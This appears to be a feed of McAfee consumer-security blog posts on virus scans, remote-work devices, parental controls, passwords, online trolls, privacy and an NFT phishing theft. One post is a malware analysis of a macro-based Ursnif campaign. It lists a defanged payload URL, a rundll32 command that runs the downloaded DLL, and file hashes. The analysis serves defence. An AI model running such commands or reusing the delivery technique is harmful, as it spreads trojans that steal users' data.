Each antivirus program works a little differently, but in general the software will look for known malware that meets a specific set of characteristics. It may also look for variants of these known threats that have a similar code base. Some antivirus software even checks for suspicious behavior. If the software comes across a dangerous program or piece of code, it removes it. In some cases, a dangerous program can be replaced with a clean one from the manufacturer.
The process of checking for viruses depends on the device type and its operating system. Check out these tips to help you scan your computers, phones and tablets.
If you use Windows 10, go into “Settings” and look for the “Updates & Security” tab. From there you can locate a “Scan Now” button.
Of course, many people have invested in more robust antivirus software that has a high accuracy rate and causes less drain on their system resources, such as McAfee Total Protection. To learn how to run a virus scan using your particular antivirus software, search the software’s help menu or look online for instructions.
Mac computers don’t have a built-in antivirus program, so you will have to download security software to do a virus scan. There are some free antivirus applications available online, but we recommend investing in trusted software that can protect you from a variety of threats. Downloading free software and free online virus scans can be risky, since cybercriminals know that this is a good way to spread malware.
Whichever program you choose, follow their step-by-step instructions on how to perform a virus scan, either by searching under “help” or looking it up on their website.
Yes, you can get a virus on your phone or tablet, although they are less common than on computers. However, the wider category of mobile malware is on the rise and your device can get infected if you download a risky app, click on an attachment in a text message, visit a dangerous webpage, or connect to another device that has malware on it.
Fortunately, you can protect your devices with mobile security software. It doesn’t usually come installed, so you will have to download an application and follow the instructions.
Because the Android platform is an open operating system, there are a number of antivirus products for Android devices, that allows you to do a virus scan.
Apple devices are a little different because they have a closed operating system that doesn’t allow third parties to see their code. Although Apple has taken other security precautions to reduce malware risks, such as only allowing the installation of apps from Apple’s official app store, these measures aren’t the same as an antivirus program.
For more robust protection on your Apple devices, you can install mobile security software to protect the private data you have stored on your phone or tablet, such as contacts, photos and messages.
If safeguarding all your computers and devices individually sounds overwhelming, you can opt for a comprehensive security product that protects computers, smartphones and tablets from a central control center, making virus prevention a breeze.
New online threats emerge every day, putting our personal information, money and devices at risk. In the first quarter of 2019 alone McAfee detected 504 new threats per minute, as cybercriminals employed new tactics. That’s why it is essential to stay ahead of these threats by using security software that is constantly monitoring and checking for new known threats, while safeguarding all of your sensitive information. Virus scans are an essential part of this process when it comes to identifying and removing dangerous code.
Most antivirus products are regularly scanning your computer or device in the background, so you will only need to start a manual scan if you notice something suspicious, like crashes or excessive pop-ups. You can also program regular scans on your schedule.
Of course, the best protection is to avoid getting infected in the first place. Here are a few smart tips to sidestep viruses and other malware:
The post How To Do A Virus Scan appeared first on McAfee Blog.
Authored by Jyothi Naveen and Kiran Raj
McAfee Labs have been observing a spike in phishing campaigns that utilize Microsoft office macro capabilities. These malicious documents reach victims via mass spam E-mail campaigns and generally invoke urgency, fear, or similar emotions, leading unsuspecting users to promptly open them. The purpose of these spam operations is to deliver malicious payloads to as many people as possible.
A recent spam campaign was using malicious word documents to download and execute the Ursnif trojan. Ursnif is a high-risk trojan designed to record various sensitive information. It typically archives this sensitive data and sends it back to a command-and-control server.
This blog describes how attackers use document properties and a few other techniques to download and execute the Ursnif trojan.
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, Word downloads a DLL (Ursnif payload). The Ursnif payload is then executed using rundll32.exe
Macros are disabled by default and the malware authors are aware of this and hence present an image to entice the victims into enabling them.
Analyzing the sample statically with ‘oleId’ and ‘olevba’ indicates the suspicious vectors..
The VBA Macro is compatible with x32 and x64 architectures and is highly obfuscated as seen in Figure-5
To get a better understanding of the functionality, we have de-obfuscated the contents in the 2 figures shown below.
An interesting characteristic of this sample is that some of the strings like CLSID, URL for downloading Ursnif, and environment variables names are stored in custom document properties in reverse. As shown in Figure-7, VBA function “ActiveDocument.CustomDocumentProperties()” is used to retrieve the properties and uses “StrReverse” to reverse the contents.
We can see the document properties in Figure-8
The malicious macro retrieves hidden shellcode from a custom property named “Company” using the “cdec” function that converts the shellcode from string to decimal/hex value and executes it. The shellcode is shown below.
The shellcode is written to memory and the access protection is changed to PAGE_EXECUTE_READWRITE.
After adding the shellcode in memory, the environment variable containing the malicious URL of Ursnif payload is created. This Environment variable will be later used by the shellcode.
The shellcode is executed with the use of the SetTimer API. SetTimer creates a timer with the specified time-out value mentioned and notifies a function when the time is elapsed. The 4th parameter used to call SetTimer is the pointer to the shellcode in memory which will be invoked when the mentioned time is elapsed.
The shellcode downloads the file from the URL stored in the environmental variable and stores it as ” y9C4A.tmp.dll ” and executes it with rundll32.exe.
URL | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ |
CMD | rundll32 “C:\Users\user\AppData\Local\Temp\y9C4A.tmp.dll”,DllRegisterServer |
After successful execution of the shellcode, the environment variable is removed.
TYPE | VALUE | PRODUCT | DETECTION NAME |
Main Word Document | 6cf97570d317b42ef8bfd4ee4df21d217d5f27b73ff236049d70c37c5337909f | McAfee LiveSafe and Total Protection | X97M/Downloader.CJG |
Downloaded dll | 41ae907a2bb73794bb2cff40b429e62305847a3e1a95f188b596f1cf925c4547 | McAfee LiveSafe and Total Protection | Ursnif-FULJ |
URL to download dll | hxxp://docmasterpassb.top/kdv/x7t1QUUADWPEIQyxM6DT3vtrornV4uJcP4GvD9vM/ | WebAdvisor | Blocked |
Technique ID | Tactic | Technique Details | Description |
T1566.001 | Initial Access | Spear phishing Attachment | Manual execution by user |
T1059.005 | Execution | Visual Basic | Malicious VBA macros |
T1218.011 | Defense Evasion | Signed binary abuse | Rundll32.exe is used |
T1027 | Defense Evasion | Obfuscation techniques | VBA and powershell base64 executions |
T1086 | Execution | Powershell execution | PowerShell command abuse |
Macros are disabled by default in Microsoft Office applications, we suggest keeping it that way unless the document is received from a trusted source. The infection chain discussed in the blog is not limited to Word or Excel. Further threats may use other live-off-the-land tools to download its payloads.
McAfee customers are protected against the malicious files and sites detailed in this blog with McAfee LiveSafe/Total Protection and McAfee Web Advisor.
The post Phishing Campaigns featuring Ursnif Trojan on the Rise appeared first on McAfee Blog.
The devices employees use as they work from home could be the ones that put their companies at risk.
With businesses continuing to support remote and hybrid workplaces, more employees are connecting more of their personal devices to corporate networks, yet these devices aren’t always well protected from malware, breaches, and theft—which can affect them and the companies
they work for.
Prior to the pandemic, a major topic for employee and business security was BYOD, or “bring your own device.” And it remains so. That catchy little abbreviation took root several years ago as many employees started bringing their own devices to work for both personal and business use, whether that was their smartphone for company calls and email or swapping files once in a while with an external drive or a USB stick.
The argument for BYOD is that it potentially increases employee productivity by allowing people to use the devices they’re familiar with—plus that company can save on costs by having employees bring their own tech into the office. However, there’s a flip side. Because these devices can and often do connect to sensitive corporate resources and data, they can potentially compromise those very same resources and data. Unless they have strong security in place, which they often do not. Employees simply don’t always protect their own devices.
Our most recent global research shows that only 68% of adults say that they protect their laptops with basic antivirus protection. Note that basic antivirus does not include comprehensive security software that also protects them from the pandemic and post-pandemic rise in account theft, ransomware, email fraud, and phishing attacks. With this, only 68% of adults employ baseline protection, let alone more thorough protections beyond that.
This figure drops dramatically when it comes to protecting their smartphones, classically the leading BYOD device in the corporate landscape. Here, only 41% of adults said they protect their phones with basic antivirus. Moreover, only 56% said they protect their smartphone with a password or passcode to unlock it—making nearly half of them an open book to cyber crooks in the event of loss or theft.
Now, with remote and hybrid workplaces becoming more commonplace, BYOD gets all that much more complicated. Businesses are now faced with an unprecedented number of BYOD devices on their networks. In the U.S. alone, a Gallup poll found that half of the full-time workforce was “remote capable,” some 60 million people in all.
Of them, 53% said they expect to work in a hybrid model moving forward and another 24% to work fully remotely. That means somewhere around 46 million workers in the U.S. will work remotely in some form or fashion and will likely use one or more of their own devices to do so—a clear concern for any security-minded business if these employee devices remain unprotected.
In an ideal world, employees would stick to some hard and fast rules about device usage. They’d do their work on one laptop and then use another for streaming shows, doing their shopping, playing games, managing their finances and so on. Yet that doesn’t appear to be the case.
A recent global study found that 55% of remote workers use a personal laptop or smartphone for work at least part of the time. Moreover, this begs the question if the employee is the only one using that BYOD device. After all, they’re likely working in their own home, where other family members may use that device to some extent as well, which adds yet more security risks for businesses. With multiple users on a single device, the additional browsing, downloading, emailing, and shopping could expose that device to more security risks than from a single user alone.
Unlike company-issued devices, employee-owned devices aren’t subject to the centralized policies and protections that corporate IT can put in place. This leads to devices on the corporate network that may be without up-to-date antivirus protection, have malicious apps on them, or use browsers with compromised extensions that illicitly gather data on their users.
Once again, with employees sometimes taking lax, if any security measures to protect their devices, this can present serious risks to the business, such as the dramatic rise in business email compromise. As reported by the Federal Bureau of Investigation (FBI), businesses lost $2.4 billion in 2021 to this form of scam alone. Meanwhile, phishing attacks, device theft, and credential theft all remain painfully common forms of attack on small and mid-sized businesses.
One way businesses can address these issues is by helping employees do what they haven’t done for themselves—provide them with comprehensive online protection software as a company benefit.
Comprehensive online protection goes beyond basic antivirus (which as we’ve seen, only 68% of people use). It covers the three pillars of security—privacy, identity, and device security, and by protecting those three things for their employees on their BYOD devices, companies can then protect themselves.
A brief list illustrates several of the top ways online protection for remote employees can help keep the business secure:
If your company doesn’t already support one, employees can use a VPN to create an encrypted tunnel when they connect to the company network, which makes it highly difficult for bad actors to intercept that traffic. Our secure VPN uses bank-grade AES 256-bit encryption to help keep data and information safe.
With one bad click, a phishing attack in email, text, or direct message may give an attacker access to login credentials or to install malware known as a keylogger that can likewise steal usernames and passwords. Safe web browsing features found in online protection can help sidestep these attacks before they happen with clear warnings of risky websites, links, files, and other attachments.
When it comes to employee passwords, no two should be alike. Yet with dozens of logins of their own, in addition to the ones they use exclusively for work, that’s a rule few people follow. A password manager can help. It can store, auto-fill, and even generate strong, unique passwords for each account—across computers, laptops, and smartphones.
Employees can permanently delete sensitive files with an application such as McAfee Shredder, which removes files so that thieves can’t access them. (Quick fact: deleting files in your trash doesn’t actually delete them in the truest sense. They’re still there until they’re “shredded” or otherwise overwritten such that they can’t be restored.)
Absolutely, antivirus is a must. Comprehensive online protection will include that, and much more. Ours offers that in addition to protection that safeguards your employee’s identity and privacy—along with a personalized Protection Score that checks the health of their online protection and provides simple steps to improve their security.
Beyond online protection software, is remote locking and wiping of devices. We’ve mentioned physical loss and theft of devices as a significant security issue. Many laptops and mobile devices offer location tracking services to help locate a lost device—and yet others allow the owner to remotely lock or even wipe the contents of that device if they fear it’s lost for good or fallen into the wrong hands.
Showing employees how to enable and use these features can further protect all parties involved in such a worst-case scenario. Apple provides iOS users with a step-by-step guide for remotely wiping devices and Google offers up a guide for Android users as well. For laptops, Microsoft and Apple users can enable the following settings:
By providing employees with comprehensive online protection that complements the security measures the company already has in place, they get the benefit of a far safer time online for themselves. Potentially their families as well. In turn, because they’re more secure, the business is more secure—an important point to consider when millions are still working from home on their BYOD devices.
The post WFH Unprotected: How Organizations Can Keep Their Employees and Their Business Safer appeared first on McAfee Blog.
Molding and shaping our kids while we can is every parent’s dream. When kids are young – and sweet! – they are far more inclined to take on board our advice and lovingly imposed rules. Oh, how I miss those days!! And in a nutshell – that’s what a good set of parental controls can do for you and your kids. In my opinion, parental controls can absolutely help you create good habits but it’s essential that they are accompanied by an invested parent who’s keen to help their kids navigate the online world.
With Aussie kids spending at least 5 hours online a day, it’s no secret that they can be exposed to a broad range of people, websites and themes – some potentially quite disturbing. And with most kids sporting an internet-connected phone plus a laptop, there’s no limit to what they can access – and usually when you aren’t around.
I like to think of parental controls as another way of helping establish healthy habits and good decision-making strategies with your kids. For example, if you have told your kids there is no screen time before bed, then you are able to use Parental Controls to make that a reality. And if you have agreed that they are able to use only certain apps or social media platforms then Parental Controls can also make this happen by blocking access if they deviate. I believe that over time, these routines, and boundaries simply become part of your child’s day-to-day life and become good habits.
McAfee’s Parental Controls, called Safe Family, can also let you view your kids’ activity online and let you know where your kids are at all times. How good??
While it’s commonly believed that it takes just 21 days to form a habit, courtesy of Dr Maxwell Maltz in the 1960’s, more up-to-date research shows that it could take considerably longer. In fact, research conducted in 2010 by Health Psychology Researcher Philippa Lally at The University College in London shows that it takes around 2 months or 66 days to be precise to make a new habit stick!
And while I love the idea that we could help our kids adopt new positive habits in just 2 months, I think we need to keep it real. Fear of missing out (FOMO) coupled with the lure of their shiny devices might mean that it takes a little more than 66 days to make a change, particularly if you are trying to modify their current usage as opposed to starting from scratch.
There is no-one that better understands just how time poor parents can be. Having spent the last 20 plus years rearing 4 boys and working, I feel like I’ve earnt the time poor t-shirt! So, understandably, many parents feel like they just don’t have the ‘band with’ to take on much more so digital parenting is often put in the too hard basket. And I totally get it!
But using parental controls without some knowledge of your kids’ digital world, is a little like filling your car with petrol but not worrying about the oil. It will eventually be a problem!
So, I’m going to break it down for you. Digital parenting doesn’t have to be overwhelming, particularly if you break it down. So, in a quest to keep it simple, here are 4 things you can do to up your digital parenting game:
The day your child picks up a device is the day you start talking about cybersafety. If this is when they are 18 months of age, then that’s when you start. Always ensure the messages are age-appropriate and keep them simple. You could start with:
And when your kids get older, weave in more age-appropriate messages, such as:
Knitting cybersafety messages into your family dialogue needs to also become automatic. Talk about it just like you would sun safety or road safety. And why not share stories around the dinner table about your own online experiences or even relevant news stories to engage them in a dialogue.
I love the idea of a clear contract between parents and kids that details your expectations about their online behaviour and technology use. It’s a great way of developing a set of guidelines that will help them navigate the risks associated with being online. Now, this agreement should definitely be a family exercise so ensure your kids are invested in the process too. If you want a starting point, check out this one from The Modern Parent here.
Taking some time to understand how your child spends their time online is the best way of truly understanding the risks and challenges they face. So, join ALL the social media platforms your kids are on, play their games and download their messaging apps. You will develop a better understanding of how to manage privacy settings and the language/online culture that is a big part of your child’s life. And the best part – if they know you understand their world, I have no doubt that you will develop a little ‘tech cred’ which mean that they will be more likely to come to you with any issues or problems that may face online. Awesome!
There is some amazing technology available that makes this digital parenting thing a heck of a lot easier and that includes Parental Controls. McAfee’s Safe Family is a comprehensive parental controls solution that lets you monitor and block apps and websites, manage screen time, see where your kid’s devices are at all times, and more, giving you peace of mind in an ever-mobile world. The perfect partner to an invested parent!
Parental Controls can be an awesome way of helping your kids establish positive habits around their tech use, but they are even more impactful when combined with an invested parent who has got a good handle on the online world. So, by all means, invest in Parental Control software but also commit to ramping up your digital parenting game – it’s the best way to help set up your kids for a safe and positive experience online. And isn’t that every digital parent’s dream!
Take Care
Alex
The post Can Parental Controls Can Help You Create Good Habits? appeared first on McAfee Blog.
While biometric tools like facial ID and fingerprints have become more common when it comes to securing our data and devices, strong passwords still play an essential part in safeguarding our digital lives.
This can be frustrating at times, since many of us have more accounts and passwords than we can possibly remember. This can lead us to dangerous password practices, such as choosing short and familiar passwords, and repeating them across numerous accounts. But password safety doesn’t have to be so hard. Here are some essential tips for creating bulletproof passwords.
Every year surveys find that the most popular passwords are as simple as “1234567” and just “password.” This is great news for the cybercrooks, but really bad news for the safety of our personal and financial information.
When it comes to creating strong passwords, length and complexity matter because it makes them harder to guess, and harder to crack if the cybercriminal is using an algorithm to quickly process combinations. The alarming truth is that passwords that are just 7 characters long take less than a third of a second to crack using these “brute force attack” algorithms.
Tricks:
Passwords that include bits of personal information, such as your name, address, or pet’s name, make them easier to guess. This is especially true when we share a lot of personal information online. But you can use personal preferences that aren’t well known to create strong passphrases.
Tricks:
If you reuse passwords and someone guesses a password for one account, they can potentially use it to get into others. This practice has gotten even riskier over the last several years, due to the high number of corporate data breaches. With just one hack, cybercriminals can get their hands on thousands of passwords, which they can then use to try to access multiple accounts.
Tricks:
If just the thought of creating and managing complex passwords has you overwhelmed, outsource the work to a password manager! These are software programs that can create random and complex passwords for each of your accounts, and store them securely. This means you don’t have to remember your passwords – you can simply rely on the password manager to enter them when needed.
Tricks:
Now that you’ve made sure that your passwords are bulletproof, make sure you have comprehensive security software that can protect you from a wide variety of threats.
Tricks:
The post 5 Tips For Creating Bulletproof Passwords appeared first on McAfee Blog.
Imagine, if you will, a person goes online each day with the sole mission to trigger confrontation and provoke conflict. Sounds bizarre and exhausting, doesn’t it? Sadly, that’s precisely what online trolls hope set out to do. And while trolls often target adults, when they target kids, the emotional impact can be confusing and painful.
A troll is a person who posts inflammatory messages in an online forum to purposefully cause confusion or harm to other users online for no reason at all.
A 2021 Pew Research report found that nearly 41 percent (four in ten) Americans have encountered online harassment. Additionally, 55 percent think it is a “major problem.” Seventy-five percent of the targets of online abuse say their most recent experience was on social media.
It’s important to differentiate bullies and trolls. While both cause harm, bullies often know their targets. Trolls, however, amplify the emotional complexity of online harassment by targeting strangers. Their goal is to anger and exhaust people with name-calling, body shaming, political or gender bashing, and other forms of emotional abuse.
Helping kids understand, process, and respond in a healthy way to this kind of cruel behavior is, no doubt, a challenge all parents face today. So, what can we do? There are a few things.
1. Prepare. Consider taking the time to discuss this important topic with your child. If they have yet to encounter a troll, it won’t be long. Define what a troll is, what their motives might be, and the different ways they wreak havoc online. For a few conversation starters, google “trolls and motives.” You will find that, among other reasons, trolls incite mayhem online to attract attention, exercise control, and hurt and manipulate others. In fact, some studies show trolling is associated with (among other personality disorders) psychopathy, Machiavellianism, and narcissism.
Helping your kids understand these personalities—and not internalize a troll’s hurtful comments—will take time and consistency.
2. Parental Controls. One way to help your kids steer clear of trolls is parental controls. This level of software will block apps and filter websites trolls might frequent. In addition, parental controls will generate online activity reports and help parents limit screentime, both factors in reducing online conflict.
3. Starve the trolls. It’s human nature. We want to strike back hard and fast with an epic comeback when we’re attacked online. However, studies show that the best way to deal with a troll is to ignore or starve them. Trolls feed on angry reactions so arguing is like serving them a chocolate sundae. Instead, consider coaching your child to take a deep breath, step away from their devices, process the troll’s motives, and lastly, not engage. This will not only starve the troll, hopefully, it will also help your child build self-control.
4. Exercise your power. Is it tough to ignore the trolls? You bet! However, muting, blocking, and reporting is still a way for kids to exercise their power. A good reminder to relay to kids: While the internet may be free and open to everyone, your child’s profile, page, or blog belongs to them. It is not a democracy that requires them to tolerate free speech or abusive behavior. Encourage your child to exercise their power and voice by using the reporting tools—unfollow, mute, block, report—designed to help them feel secure and safe online.
5. Make accounts private. Many trolls tend to operate under anonymous names and use hidden IP addresses. For that reason, encourage your child to limit their online circles to friends only. While this may not ward off all trolls, it will reduce their chances of getting through the gates. This is especially important for children who play video games and chat online with unknown online players who may be trolls. Remind them to create private accounts on social networks and to keep all personal information private.
6. Take appropriate action. If a trolling situation escalates to stalking or threats, report it to authorities immediately. A great place to learn more about trolling is the Crash Override Network, an exhaustive list of resources for victims of online harassment. Note: Be sure to take screenshots of the abusive posts, so you have proof in case the person attempts to edit or delete them.
It’s easy to forget that each time your child logs into a device, they step into a literal worldwide web of strangers with diverse behaviors and agendas. Taking time to talk about trolls—before your kids rush to scroll Tik Tok or play Fortnite—will help equip them to deal with this growing threat.
The post 6 Ways to Help Your Kids Deal with Haters and Harassers Online appeared first on McAfee Blog.
Whether it was bush fires, Covid, floods, or the Ukraine conflict, the news agenda over the last two years has been jam-packed. So, when McAfee released the findings of their first Global Connected Family Study, it was clear to me that connecting safely online needs to make it back into the news.
Over 15,000 parents and 12,000 children aged 10-18 from 10 countries (including Australia) were interviewed for the study with the goal of finding out how families both connect and protect themselves online. So, let me share with you the results that need to spring us into action.
I’m the first to admit that being a digital parent can be incredibly overwhelming. Staying abreast of the latest trends, apps and social media platforms can seem like a full-time job! And let’s not forget the latest threats and risks too. But findings, like the ones above, do have a way of shaking up priorities and do serve to provide clarity on where we need to focus our attention as parents.
So, let’s break it down into 5 steps that you can take to ensure you are minimising the negativity and risks your kids may experience online:
Without a doubt, one of the best things you can do for your family is create a culture where honest and genuine communication is a feature of everyday life. If your kids know they can confide in you, no matter what the problem is, then they are far more likely to come to you before a problem such as cyberbullying can feel unsolvable.
It’s impossible to set boundaries and appreciate the risks in the digital world, if you don’t really know what your kids are dealing with. You may have little natural interest in joining Kik, Snapchat or Instagram but if you kids use it – then you know what you need to do! And if your kids can see that you are more actively involved online and using similar platforms, they will be more likely to come to you if they experience a problem.
In my opinion, one of the biggest causes of issues online is the fact that children are given internet-enabled devices that require adult levels of maturity and problem-solving skills. But let’s keep it real – that horse has bolted – most of our kids have phones in their pockets! So, the best way of managing this is to introduce a family technology contract.
Now this can be as simple or complex as you feel is necessary for your tribe. You may want to insist on just a few rules such as not sharing passwords with friends, seeking permission before downloading apps, and always being kind online. You could simply write these on a piece of paper and have your kids sign it. Whatever works for you but remember, the research is showing that our kids are looking to us to help keep them safe online, so include as much here as you think your kids need. And of course, these need to be age-appropriate. I love this one for under 5’s from our eSafety Commissioner and this one is great for tweens and teens from The Modern Parent.
Bullying has existed long before the internet was even a word so unfortunately, it isn’t going anywhere. But coupled with the intensity and very public nature of the online world, it can be devastating. In my opinion, the key to cyberbullying is prevention. So, ensuring your kids know they can come to you with any problem, having a tight connection with your child so you can pick when things are ‘off’ and arming them with a basic cyber safety toolkit (not sharing passwords, privacy settings on, being kind online & having time away from devices) is essential.
One of the ways we can also keep our kids from making mistakes online is by teaching them empathy. If kids haven’t developed empathy, then they make decisions based solely on their own desires – without any consideration for others. Many experts believe that it is the absence of empathy that leads directly to bullying.
So, be a role model and start weaving the good old saying ‘do unto others as you would like them to do to you’ into your family dialogue.
The research findings are very clear: our kids want us to take charge of their online safety. So, let’s get technology working for us so we can keep them safe.
Parental controls are not the silver bullet but when they are used in conjunction with proactive parenting then they can be transformative. McAfee’s Safe Family offers parents the ability to monitor device activity, limit screentime, block apps, and filter websites. This is a great way of teaching boundaries and limits while also giving yourself peace of mind that your kids are as safe as possible.
Investing in comprehensive protection software for your (and your kid’s) devices is another way of adding a layer of protection to their online world. Comprehensive security software like McAfee’s Total Protection will protect against dangerous downloads, viruses, malware, online threats, and visits to risky websites. It will also encrypt the files on your computer and help manage your passwords! A complete no-brainer!!
So, please don’t be overwhelmed and don’t even aim to be the perfect digital parent! Break it down and do the best you can because protecting our kids online needs to be a top priority. So, as soon as possible – check your family communication, take some time to understand your kids’ online world, put a digital contract in place, talk a little, and use some parental controls. But please do not forget about the power of role modeling. As parents, we are our kids’ biggest influencers so it might just be time for you to up your own digital safety game too!!
Till next time.
Stay safe everyone!
The post Aussie Children Have 2nd Highest Rate of Cyberbullying, Time To Focus on Digital Parenting appeared first on McAfee Blog.
Like most things in life, online privacy is a 2-way street. As consumers, we expect the companies we deal with online to manage and safeguard our data to a super professional level however we also have a role to play here too. So, this Privacy Awareness Week (PAW), let’s focus on what we can do to ensure our personal information is kept as secure, and private as possible.
There’s nothing like a dedicated ‘week’ to renew our focus and in my opinion, this year’s PAW does just that. This year’s theme is – The Foundation of Trust – we all have a role to play, a great reminder of how it’s up to all of us to ensure we manage online privacy. There’s no doubt that managing our privacy is low on the to-do list for many. And I get it – we’re all strapped for time, and we don’t ever think privacy breaches will affect us. Well, my friends, I’m here to tell you that privacy breaches do happen. Identity theft is a reality of living life online. In fact, in 2020/21, nearly 155,000 Aussies had their identities stolen and they were the cases that were reported. But the good news is that if you take a proactive approach, you can minimise the risk of this ever happening.
Believe it or not, most of your privacy action plan involves small steps that are, I promise, relatively painless. The most important thing here is that you need to commit to doing them. The last thing you want is to spend months dealing with the fallout from having your identity stolen. It’s exhausting, stressful, and absolutely worth avoiding.
Without further ado, here’s your action plan:
Strong and complex passwords are essential to keeping your online information tight. Ideally, a password should have between 8-10 characters and be a combination of letters – both lower and uppercase, numbers and symbols. Each online account should also have its own password too – which is a very overwhelming concept! Consider using a password manager such as McAfee’s TrueKey to help generate and manage passwords.
Ensure all the family checks their social media accounts to ensure they are set to private. This will mean that only their chosen friends can see their private information. Each social media platform will have its own ‘help’ page which provides specific steps on how to do this.
If you are serious about your online privacy, then you need to use public Wi-Fi sparingly. Unsecured public Wi-Fi is a very risky business. Anything you share could easily find its way into the hands of cybercriminals. So, avoid sharing any sensitive or personal information while using public Wi-Fi. If you travel regularly, consider investing in a VPN. A VPN (Virtual Private Network) encrypts your activity which means your login details and other sensitive information is protected. A great insurance policy!
Adding an additional layer of security to protect yourself when accessing your online accounts is another great way of guarding your online privacy. Turn on two-factor authentication for Google, Dropbox, Facebook and whatever other site offers it. For those new to this option, this means that in addition to your password, you will need to provide another form of identification to ensure you are who you say you are. Most commonly, this is a code sent to your mobile phone or generated by a smartphone app.
Most web surfers rely on Google for their searching but why not use a search engine that doesn’t collect and store the information? And there are loads of more ‘privacy focussed’ options to choose from. Check out DuckDuckGo, that doesn’t profile users or track or sell your information to third parties.
Comprehensive security protection software is an easy way to help firm up your online privacy too as it does a great job of keeping malicious software (malware) at bay. Malware can wreak absolute havoc: from installing pop ups to scanning for personal information. And if you’re likely to click dodgy links (we’re all human after all), then this is a no brainer! Super-duper security software will also guard you against viruses and online threats, direct you away from risky websites and dangerous downloads and protect your smartphones and tablets too, it can also back up your files. McAfee’s LiveSafe protection software comes with a 100% guarantee to protect you against viruses.
So, this Privacy Awareness week, please take the time to ensure you are doing all you can to nail your online privacy. And of course, please get your kids involved too. Do your research and find some stories of ‘real life’ people who have had their identity stolen to share around the dinner table because identity theft can absolutely happen to anyone!
Till next time,
Stay Safe!
Alex
The post Are You Playing A Role In Protecting Your Online Privacy? appeared first on McAfee Blog.
Passwords: we entrust our most important data to these strings of letters, numbers, and special characters. So, we should make sure our passwords are words or phrases that we can easily remember, right? While this might be the most convenient option, there are more secure ways to digitally lock up your most sensitive personally identifiable information (PII). In celebration of World Password Day, we’re diving into how you can practice top-notch password security without compromising convenience.1
Over the years, the password has remained a good first line of defense against cyberattacks. However, most of us tend to choose passwords based on memorable things from our lives, like family names or our pets’ birthdays. As it turns out, these details are easy for hackers to find on social media sites like Facebook or LinkedIn. It’s also human nature to opt for convenience, and for many people that means setting easy-to-remember and easy-to-guess passwords. Plus, out of convenience, people often reuse passwords across multiple accounts and services. The downside is that if one account becomes compromised, all accounts become compromised.
As an alternative to single-word passwords, many security experts advocate for passphrases over passwords. Passphrases are longer strings of words and characters that are easier for you to remember and harder for nefarious software and cybercriminals to guess than random strings of upper and lowercase letters, numbers and symbols. But, according to a study, the average American internet user was projected to have 300 online accounts by 2022.2 Can you imagine memorizing 300 different passphrases? We can all agree that sounds pretty unrealistic, so users tend to look for other solutions.
If the answer is yes, you may want to reconsider, as there are several risks associated with this practice. Although it’s convenient to have your browser save your passwords, they tend to do a lousy job of safeguarding your passwords, credit card numbers and personal details, such as your name and address.
Let’s take Google Chrome, for example. Unlike most dedicated password managers, Chrome doesn’t use a primary password to encrypt all your credentials. (Note that some browsers do use one, and are therefore more secure, though you’ll still need to trust your browser provider.) This makes your Chrome-stored passwords relatively weak to “local” attacks. For example, if someone gets hold of—or guesses—your Windows password, they can then see all the logins stored in your browser’s password manager.
Another consideration to note is that the security of all your accounts is tied to your browser account’s security. Let’s say you use the sync option to make your credentials available on all your devices. This means that logins are stored in the cloud and, though encrypted, if someone manages to hack into your browser account, they will gain access to all your logins.
What can you do to help ensure your online profiles are kept safe without spending hours managing a complex list of passwords? Here are some easy ways to lock down your digital life without sacrificing convenience:
A password manager is a software application that stores your passwords and other sensitive information. You can install it on computers or mobile devices and store all passwords in an encrypted file (or database). The best option is to use a password manager like McAfee True Key to store and create strong, random passwords for each site you visit. You’ll have one primary password that grants access to the rest of them—ideally, a long and random passphrase that you can remember. Once everything is set up, it should be seamless. As you log in to new sites, the password manager will offer to save your credentials for later use.
One of the best ways to protect your accounts against unauthorized access is to turn on two-factor authentication for every site that offers it. Using two-factor authentication means a site will prompt you for a unique security code, in addition to your password, whenever you log in to an account for which you have enabled this feature.
Two-factor authentication adds an extra layer of security by requiring another form of identification after you enter your username and password. Some services send a temporary passcode over text message. Others require the user to approve login attempts from new devices using an app. If someone steals your device or gains access to your account details, they’re out of luck unless they also have access to this second piece of information. Two-factor authentication is available on a wide range of websites and can help keep your accounts safe from would-be hackers, so you should always use it when available.
A VPN, or virtual private network, encrypts your data and masks your online behavior from snooping third parties. When you go to a website, your computer connects to the server where the site is hosted, and that website can see a certain amount of data about you and your computer. With a VPN, you connect to a private server first, which scrambles your data and makes it more difficult for digital eavesdroppers to track what you’re doing online.
VPNs can provide users with greater peace of mind when on the go. Say you’re traveling on a business trip and need to connect to the Wi-Fi network provided by your hotel. Shifty characters often lurk on unprotected, free networks (such as those provided by hotels, coffee shops, airports, etc.) to lift PII from people handling sensitive emails, making banking transactions, or shopping online. McAfee Safe Connect VPN encrypts your online activity with bank-grade encryption to protect your data from prying eyes. With a premium paid plan, you can protect up to five devices at once and enjoy unlimited data protection.
With your growing number of accounts all requiring passwords—emails, social media profiles, online banking—it’s no wonder that people tend to reuse passwords across multiple sites. This may be convenient, but it creates significant security risks if a suspicious actor manages to obtain one of your passwords and attempts to use it elsewhere. That’s why having strong passwords matters.
Do yourself a favor and opt for a dedicated password manager that will auto-save and store your credentials for you, so you only have one password to remember. Who says security and simplicity can’t coexist?
The post This World Password Day, Here’s How a Password Manager Can Simplify Your Life appeared first on McAfee Blog.
Imagine – your favorite brand on Instagram just announced a giveaway. You’ll receive a free gift! All you have to do is provide your credit card information. Sounds easy, right? This is a brand you’ve followed and trusted for a while now. You’ve engaged with them and even purchased some of their items. The link comes directly from their official page, so you don’t think to question it. Don’t fall prey to crypto scams, download reputable mobile security protection.
This is the same mindset that led to several Bored Ape Yacht Club (BAYC) NFTs being stolen by a cybercriminal who had hacked into the company’s official Instagram account. Let’s dive into the details of this scam.
Bored Ape Yacht Club, the NFT collection, disclosed through Twitter that their Instagram account had been hacked, and advised users not to click on any links or link their crypto wallets to anything. The hacker managed to log into the account and post a phishing link promoting an “airdrop,” or a free token giveaway, to users who connected their MetaMask wallets. Those who linked their wallets before BAYC’s warning lost a combined amount of over $1 million in NFTs.
Despite the large price tag attached to NFTs, they are often held in smartphone wallets rather than more secure alternatives. MetaMask, the crypto wallet application, only allows NFT display through mobile devices and encourages users to use the smartphone app to manage them. While it may be a good method for display purposes, this limitation provides hackers with a new and effective way to easily steal from users’ mobile wallets.
BAYC does not yet know how the hacker was able to gain access to their Instagram account, but they are following security best practices and actively working to contact the users affected.
